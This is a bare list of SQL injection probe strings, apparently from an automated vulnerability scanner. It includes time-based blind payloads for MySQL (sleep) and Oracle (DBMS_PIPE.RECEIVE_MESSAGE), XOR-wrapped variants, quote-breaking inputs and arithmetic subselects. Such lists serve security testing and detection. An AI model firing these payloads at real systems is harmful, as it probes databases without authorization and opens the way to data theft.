555*if(now()=sysdate(),sleep(15),0)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

1

1'"

@@dBlDO

(select 198766*667891)

(select 198766*667891 from DUAL)